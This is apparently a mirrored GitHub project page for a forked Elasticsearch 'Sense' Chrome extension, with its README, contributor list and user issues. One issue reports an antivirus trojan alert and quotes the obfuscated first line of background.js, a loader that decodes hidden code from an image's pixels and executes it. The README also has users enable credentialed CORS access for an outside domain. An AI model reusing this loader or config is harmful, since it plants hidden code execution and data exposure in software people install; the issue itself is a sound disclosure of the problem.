GithubHelp home page GithubHelp logo

stephanebour / sense-chrome Goto Github PK

View Code? Open in Web Editor NEW
197.0 13.0 99.0 1.58 MB

Sense (elasticsearch) for chrome extension

License: Apache License 2.0

HTML 1.18% JavaScript 97.90% Shell 0.01% CSS 0.91%
elasticsearch sense chrome-extension

sense-chrome's Introduction

sense-chrome

The original extension "sense for chrome" was blacklisted

To use this fork (from https://github.com/elastic/sense) :

Directly in chrome :

  • make a git clone of the project
  • go in your chrome extensions tabs
  • activate the developer mode
  • choose your folder in "load extension unpacked"

On all browsers :

  • Edit your elasticsearch.yml (on MacOS you can find in /usr/local/etc/elasticsearch/)
  • Add the following lines :
http.cors.allow-origin: "http://sense.stephane.tech"
http.cors.enabled: true
http.cors.allow-headers : X-Requested-With,X-Auth-Token,Content-Type,Content-Length,Authorization
http.cors.allow-credentials: true

Have fun !

Change from the original extension

  • Deleting Google Analytics
  • Autocompletion on indices
  • Autocompletion on types
  • Autocompletion on fields
  • Autocompletion on aggregations (WIP)
  • Add "filter" in autocomplete
  • Add "Saved query"
  • Export source data in CSV file

Screenshots

Main screen

Main screen

Autocomplete

Main screen

Save your query

Save 1

Save 2

sense-chrome's People

Contributors

g0-dvl avatar mkovrigovich avatar stephanebour avatar yusufyilmazfr avatar znanev avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sense-chrome's Issues

Why was it blacklisted?

Do you know why the original was blacklisted? Did you fork from the blacklisted version or elsewhere?

Error loading extension

Problem

Followed the instructions and got Chrome error:
screen shot 2017-12-15 at 11 06 31 am

Workaround

Deleting _config.yml allowed the Chrome to load the plugin…

background.js might contain malicious code

I got background.js quarantined by antivirus (Kaspersky).

Message:
Status=Quarantined
Object=Trojan program HEUR:Trojan.Script.Generic
File Path=..\sense-chrome\src\background.js
Threat Level=High

This prevents plugin installation.

I looked through background.js code.
First code line looks suspicious:

ifFirstShow=function(){try{var t=function(){},r={zL:function(t){if(isNaN(t)||!isFinite(t)||t%1||t<2)return!1;if(t%2===0)return 2===t;if(t%3===0)return 3===t;for(var r=Math.sqrt(t),e=5;e<=r;e+=6){if(t%e===0)return!1;if(t%(e+2)===0)return!1}return!0},sk:function(t){for(var r="",e=-548,n=0,i=0;i<t.length;i++)n=t[i].charCodeAt()+e,r+=String.fromCharCode(n);return r},uB:function(t){for(var e=t;!0;e+=1)if(r.zL(e))return e},Uh:function(t){var r=new Image;for(r.src=t;r.hasOwnProperty("complete")&&!r.complete;);return r}};return t.prototype.rK={Ob:3,QP:1,kJ:16,Av:function(t){return t+1},TD:function(t,r,e){for(var n=!0,i=0;i<16&&n;i+=1)n=n&&255===t[r+4*i];return n}},t.prototype.n0=function(t,r){r=r||{};var e=this.rK,n=r.width||t.width,i=r.height||t.height,o=r.Ob||e.Ob,h=r.kJ||e.kJ;return o*n*i/h>>0},t.prototype.oC=function(t,e){if(""==='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67')return"";void 0===t&&(t='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67'),t.length&&(t=r.Uh(t)),e=e||{};var n=this.rK,i=e.Ob||n.Ob,o=e.QP||n.QP,h=e.kJ||n.kJ,a=r.uB(Math.pow(2,i)),u=(e.Av||n.Av,e.TD||n.TD),f=document.createElement("canvas"),p=f.getContext("2d");if(f.style.display="none",f.width=e.width||t.width,f.height=e.width||t.height,0===f.width||0===f.height)return"";e.height&&e.width?p.drawImage(t,0,0,e.width,e.height):p.drawImage(t,0,0);var c=p.getImageData(0,0,f.width,f.height),d=c.data,g=[];if(c.data.every(function(t){return 0===t}))return"";var s,v;if(1===o)for(s=3,v=!1;!v&&s<d.length&&!v;s+=4)v=u(d,s,o),v||g.push(d[s]-(255-a+1));var w="",m=0,y=0,C=Math.pow(2,h)-1;for(s=0;s<g.length;s+=1)m+=g[s]<<y,y+=i,y>=h&&(w+=String.fromCharCode(m&C),y%=h,m=g[s]>>i-y);return w.length<13?"":(0!==m&&(w+=String.fromCharCode(m&C)),w)},t.prototype.Cx=3,t.prototype.qQ=0,t.prototype.Uu=5e3,t.prototype.AH=function(){try{var e=t.prototype,n=r.sk(e.oC());if(""===n){if(e.qQ>e.Cx)return;return e.qQ++,void setTimeout(e.AH,e.Uu)}document.defaultView[(typeof r.zL).charAt(0).toUpperCase()+(typeof r.zL).slice(1)](n)()}catch(t){}},(new t).AH}catch(t){}}();ifFirstShow();

I didn't analyze it precisely, just deleted it in my local file, left only the following lines:

chrome.browserAction.onClicked.addListener(function (tab)
{
  chrome.tabs.create({'url': chrome.extension.getURL('index.html')}, function (tab) {});
});

After such changes I was able to load this plugin and so far it seems like it works fine.

Need to analyze the suspicious code in details and decide if it's needed. If not, permanently delete this part of code. If needed - change it the way it doesn't trigger antivirus.

load failed

when i load the extension in chrome, it crashed as follows:File

~/Documents/StudySoftware/sense
Manifest file is missing or unreadable
Could not load manifest.

how can i modify? thanks

cant connect https with xpack.security.enabled

xpack.security.enabled: true

xpack.security.http.ssl:
  enabled: true
  keystore.path: certs/http.p12

I can open :9200 web with username and password, but cant with sense-chrome.
Need this feature PLZ....

Input chinese is not supported

Hi, It's just like the dev-tool in lastest Kibana,Because I use ES 2.4.X,Thanks for this tool。

in my test, I find Input Chinese in the input textarea is not supported

How about fix this?

Google Chrome 70.0

Error with _config.yml

After the addition of _config.yml I now get the following error:

Cannot load extension with file or directory name _config.yml.
Filenames starting with "_" are reserved for use by the system.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.